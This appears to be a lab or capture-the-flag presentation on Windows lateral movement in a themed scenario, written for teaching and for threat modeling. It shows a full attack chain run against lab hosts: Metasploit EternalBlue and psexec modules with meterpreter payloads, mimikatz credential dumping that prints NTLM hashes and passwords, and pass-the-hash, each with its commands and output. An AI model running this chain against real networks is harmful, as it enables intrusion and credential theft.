


WINDOWS LATERAL MOVEMENT

Lateral Movement

- ▶ Explore and map the network
- ▶ Credential dumping and privilege escalation
- ▶ Gain access to sensitive data




Nodes with
malicious behaviors

Nodes with
expected behaviors

Nodes with rare
behaviors but not
associated with an
incident


Nodes with incident
but not part of
attack

Scenario: Derivative Local Admin




Help Hermione to take something from Draco's PC

What is Metasploit?



- ▶ Find vulnerabilities
 - ▶ Enter in the system using them
 - ▶ Check the security of a system
 - ▶ Ready-to-use tools:
 - ▶ Vulnerability exploit
 - ▶ Network exploit
 - ▶ Payloads

First exploit



Hermione's PC

- ▶ [nmap -- script vuln 192.168.125.31](#)
- ▶ use exploit/windows/smb/ms17_010_永恒之蓝
- ▶ set payload windows/x64/meterpreter/reverse_tcp
- ▶ [load kiwi](#)
- ▶ [creds_all](#)

```
root@kali:~# nmap --script vuln 192.168.125.31
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-19 16:44 EDT
Nmap scan report for 192.168.125.31
Host is up (0.00041s latency).
Not shown: 990 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_sslv2-drown:
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49157/tcp  open  unknown
49158/tcp  open  unknown
MAC Address: FA:16:3E:60:1A:25 (Unknown)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|smb-vuln-ms17-010:
|  VULNERABLE:
|    Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|    State: VULNERABLE
|    IDs: CVE:CVE-2017-0143
|    Risk factor: HIGH
|      A critical remote code execution vulnerability exists in Microsoft SMBv1
|      servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
|   https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

smb-17-010

- ▶ Server Message Block: Windows protocol for sharing in same network
 - Client-server approach
 - Local network and Internet
 - Intraprocess communication: named pipes
- ▶ SMBv1 remote code execution vulnerability
- ▶ MS17-010: 14-03-2017 patch
- ▶ Eternalblue: NSA exploit □ 12-05-2017 WannaCry



What is kiwi?

- ▶ Meterpreter extension for mimikatz

```
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.1.1 20180925 (x86/windows)
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##      > http://blog.gentilkiwi.com/mimikatz
'## v ##'      Vincent LE TOUX          ( vincent.letoux@gmail.com )
'#####'        > http://pingcastle.com / http://mysmartlogon.com  ***/


[!] Loaded x86 Kiwi on an x64 architecture.

Success.
meterpreter > 
```

What is meterpreter?


- ▶ Metasploit attack payload
- ▶ DLL injection
- ▶ Only resides in memory □ write nothing to disk
- ▶ Control target device remotely

What is mimikatz?

- ▶ Post exploitation toolkit
- ▶ Purpose: learn C and security on Windows
- ▶ Dump passwords
- ▶ Privilege access
- ▶ Ticket [Kerberos](#)
- ▶ Bypass certificates or private keys

What is Kerberos?

- ▶ Authentication protocol client-server
- ▶ Trusted Third Party: Key Distribution Server □ Authentication Server and Ticket Granting Server
- ▶ 3 steps: Authentication, Authorization, Service request
- ▶ Private key encryption, combined AES/DES
- ▶ Join client to Windows Domain: enabling Kerberos instead of NTLM



Username	Domain	NTLM	SHA1
-----	-----	-----	-----
h.granger	HGRANGER-PC	3bfcb7974e0a883c5a41768d2451a9b7	2854d1f590b0b03a4c84dcc36d7cffc122d1a17b
s.snape	HGRANGER-PC	e73c744c5e95c8032cd28038674ce2be	a8cca11966448d3f5779d34cc0ead9295bec81d2

wdigest credentials

Username	Domain	Password
-----	-----	-----
(null)	(null)	(null)
HGRANGER-PC\$	WORKGROUP	(null)
h.granger	HGRANGER-PC	WingardiumL3v!osa
s.snape	HGRANGER-PC	H4lfBl00dPr!nce

tspkg credentials

Username	Domain	Password
-----	-----	-----
h.granger	HGRANGER-PC	WingardiumL3v!osa
s.snape	HGRANGER-PC	H4lfBl00dPr!nce

kerberos credentials


Username	Domain	Password
-----	-----	-----
(null)	(null)	(null)
h.granger	HGRANGER-PC	WingardiumL3v!osa
hgranger-pc\$	WORKGROUP	(null)
s.snape	HGRANGER-PC	H4lfBl00dPr!nce

Why can I know from one PC the password of another PC in same net?

- ▶ Windows' Domain: central database aka domain controllers
- ▶ LAN, WAN, VPN connection
- ▶ Security and administration centralized
- ▶ Server coordination, modify rights, manage rules
- ▶ Every user has access to domain resources
- ▶ Shared database and log files



Second exploit



Severus Snape's PC

- ▶ [nmap –script vuln 192.168.125.11](#)
- ▶ Share mimikatz installed in Hermione's Desktop
- ▶ privilege::debug and token::elevate
- ▶ lsadump::sam system.hiv sam.hiv □ [found Draco's NTLM password](#)

```
root@kali:~# nmap -T5 -sC -sV 192.168.125.11
```

```
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-19 11:36 EDT
```

```
Nmap scan report for 192.168.125.11
```

```
Host is up (0.00070s latency).
```

```
Not shown: 998 filtered ports
```

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

3389/tcp	open	ms-wbt-server	Microsoft Terminal Service
----------	------	---------------	----------------------------

_ssl-date:	2020-08-19T14:37:12+00:00;	-1h00m01s from scanner time.
------------	----------------------------	------------------------------

49154/tcp	open	msrpc	Microsoft Windows RPC
-----------	------	-------	-----------------------

MAC Address:	FA:16:3E:35:63:1B	(Unknown)
--------------	-------------------	-----------

Service Info:	OS: Windows;	CPE: cpe:/o:microsoft:windows
---------------	--------------	-------------------------------

```
Host script results:
```

_clock-skew:	mean: -1h00m01s,	deviation: 0s,	median: -1h00m01s
--------------	------------------	----------------	-------------------

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 129.86 seconds
```

```
mimikatz # lsadump::sam system.hiv sam.hiv
Domain : SLYTHERIN
SysKey : b1b664a865173ef89cfecf65b07f873
Local SID : S-1-5-21-395336785-1774609862-2843569760

SAMKey : e61847428e0c1e808c1a0ee9da39d782

RID : 000001f4 (500)
User : s.snape
    Hash NTLM: e73c744c5e95c8032cd28038674ce2be

RID : 000001f5 (501)
User : Guest

RID : 000003eb (1003)
User : d.malfoy
    Hash NTLM: 93144ee766030f10c12e4e0c0e2e9225

RID : 000003ec (1004)
User : h.granger
    Hash NTLM: 3bfcb7974e0a883c5a41768d2451a9b7

RID : 000003ed (1005)
User : Admin
    Hash NTLM: 8634d66948935f30f9269e9ef2b11e05
```

What are Sam and System files?

- ▶ System file: OS configuration:
 - ▶ Driver list
 - ▶ Plug and Play devices
 - ▶ NT services and devices
- ▶ Sam (Security Account Manager) file: stores users' passwords.
 - ▶ LM or NTLM hash
 - ▶ SYSKEY

Hashes Windows

- ▶ LM for less than 14 char len:
 1. Convert all lower case to upper case
 2. Pad password to 14 characters with NULL characters
 3. Split the password to two 7 character chunks
 4. Create two DES keys from each 7 character chunk
 5. DES encrypt the string "KGS!@#\$%" with these two chunks
 6. Concatenate the two DES encrypted strings. This is the LM hash

- ▶ NT

$\text{MD4}(\text{UTF-16-LE}(\text{password}))$

What is NTLM password?

- ▶ Successor of Microsoft LAN Manager
- ▶ 3 messages for client authentication using IP - Active Directory - no domain

NTLMv1	NTLMv2
<p>C = 8-byte server challenge, casual</p> <p>K1 K2 K3 = NT-Hash 5-bytes-0</p> <p>R1 = DES(K1,C) DES(K2,C) DES(K3,C)</p> <p>K1 K2 K3 = LM-Hash 5-bytes-0</p> <p>R2 = DES(K1,C) DES(K2,C) DES(K3,C) risposta = R1 R2</p>	<p>SC = 8-byte server challenge, casual</p> <p>CC = 8-byte client challenge, casual</p> <p>CC* = (X, time, CC, nome dominio)</p> <p>v2-Hash = HMAC-MD5(NT-Hash, username, domain)</p> <p>LMv2 = HMAC-MD5(v2-Hash, SC, CC)</p> <p>NTv2 = HMAC-MD5(v2-Hash, SC, CC*)</p> <p>risposta = LMv2 CC NTv2 CC*</p>

Pass the hash

- ▶ Authentication in same network without knowing password but only hash
- ▶ Get privileges all users logged in machine
- ▶ Once got control: escalation of privileges
- ▶ Used in APT
- ▶ Prevent using IDS/IPS

Pass the hash to Malfoy

Administrator: Command Prompt

```
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>whoami
slytherin\s.snape

C:\Users\Administrator>_

mimikatz # sekurlsa::pth /user:d.malfoy /domain:WORKGROUP /ntlm:93144ee766030f10
c12e4e0c0e2e9225
user : d.malfoy
domain : WORKGROUP
program : cmd.exe
impers. : no
NTLM : 93144ee766030f10c12e4e0c0e2e9225
| PID: 2824
| TID: 3000
| LSA Process was already R/W
| LUID 0 ; 1451743 <00000000:001626df>
\__ msv1_0 - data copy @ 0000007416E3A250 : OK !
\__ kerberos - data copy @ 0000007416E29358
    \__ aes256_hmac      -> null
    \__ aes128_hmac      -> null
    \__ rc4_hmac_nt       OK
    \__ rc4_hmac_old      OK
    \__ rc4_md4           OK
    \__ rc4_hmac_nt_exp    OK
    \__ rc4_hmac_old_exp   OK
    \__ *Password replace @ 0000007416E38EB8 <16> -> null
```

Administrator: C:\Windows\SYSTEM32\cmd.exe

```
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```

Browse into Draco's PC

```
Administrator: C:\Windows\SYSTEM32\cmd.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>cd ..\..\Users

C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is FE90-9BF4

Directory of C:\Users

18/08/2020  10:35    <DIR>    .
18/08/2020  10:35    <DIR>    ..
26/06/2018  08:02    <DIR>    Admin
18/08/2020  10:35    <DIR>    Admin.SLYTHERIN
18/08/2020  10:46    <DIR>    Administrator
16/10/2019  14:06    <DIR>    d.malfoy
26/05/2018  06:45    <DIR>    Public
          0 File(s)           0 bytes
          7 Dir(s)  32,610,820,096 bytes free

C:\Users>cd d.malfoy\Desktop


C:\Users\d.malfoy\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is FE90-9BF4

Directory of C:\Users\d.malfoy\Desktop

16/10/2019  14:06    <DIR>    .
16/10/2019  14:06    <DIR>    ..
          0 File(s)           0 bytes
          2 Dir(s)  32,610,820,096 bytes free

C:\Users\d.malfoy\Desktop>
```

Third exploit



Draco Malfoy's PC

- ▶ nmap -- script vuln 192.168.125.41
- ▶ possible SAMBA vulnerability
- ▶ use exploit/windows/smb/psexec_psh
- ▶ set payload windows/x64/meterpreter/bind_tcp
- ▶ fill in the fields name, domain and password of d.malfoy as stolen from s.snape's PC
- ▶ shell: browse in d.malfoy's Desktop → found what Hermione's needed

```
root@kali:~# nmap --script vuln 192.168.125.41
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-19 16:51 EDT
Nmap scan report for 192.168.125.41
Host is up (0.00041s latency).

Not shown: 990 closed ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
|_sslv2-drown:
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
MAC Address: FA:16:3E:73:EA:E8 (Unknown)
```

Host script results:

```
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection
_|_smb-vuln-ms10-054: false
_|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection
```

Nmap done: 1 IP address (1 host up) scanned in 88.61 seconds

What is SAMBA?

- ▶ SMB evolution □ OS interaction
- ▶ Software to interact with Windows Domain
- ▶ Shared resources
- ▶ Release 4+: domain controller



```
msf5 exploit(windows/smb/psexec_psh) > options
```

Module options (exploit/windows/smb/psexec_psh):

Name	Current Setting	Required	Description
DryRun	false	no	Prints the powershell command that would be used
RHOSTS	192.168.125.41	yes	The target address range or CIDR identifier
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SMBDomain	workgroup	no	The Windows domain to use for authentication
SMBPass	aad3b435b51404eeaad3b435b51404ee:93144ee766030f10c12e4e0c0e2e9225	no	The password for the specified username
SMBUser	d.malfoy	no	The username to authenticate as

Payload options (windows/x64/meterpreter/bind_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LPORT	3333	yes	The listen port
RHOST	192.168.125.41	no	The target address

Exploit target:

Id	Name
--	--
0	Automatic



```
msf5 exploit(windows/smb/psexec_psh) > exploit
```

```
[*] 192.168.125.41:445 - Executing the payload...
[+] 192.168.125.41:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.125.41:3333
[*] Sending stage (206403 bytes) to 192.168.125.41
[*] Meterpreter session 2 opened (192.168.125.100:39347 -> 192.168.125.41:3333) at 2020-08-22 14:17:15 -0400
```

```
meterpreter > shell
```

```
Process 1432 created.
```

```
Channel 1 created.
```

```
Microsoft Windows [Version 6.1.7601]
```

```
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>cd ..\..\Users\d.malfoy\Desktop
```

```
cd ..\..\Users\d.malfoy\Desktop
```

```
C:\Users\d.malfoy\Desktop>type flag.txt
```

```
type flag.txt
```

```
flag{pthing_4_20_Y3ars}
```

```
C:\Users\d.malfoy\Desktop>
```

Conclusions

- ▶ Threat modeling:
 - ▶ Threats: social engineering attack, spoofing, DoS, APT
 - ▶ Vulnerabilities: not updated systems, information disclosure, escalation of privilege, Windows Domain
 - ▶ Risk Assessment techniques: FMEA, attack tree, risk matrix
 - ▶ Countermeasures: refresher courses, IDS/IPS, firewalls, multifactor authentication, update system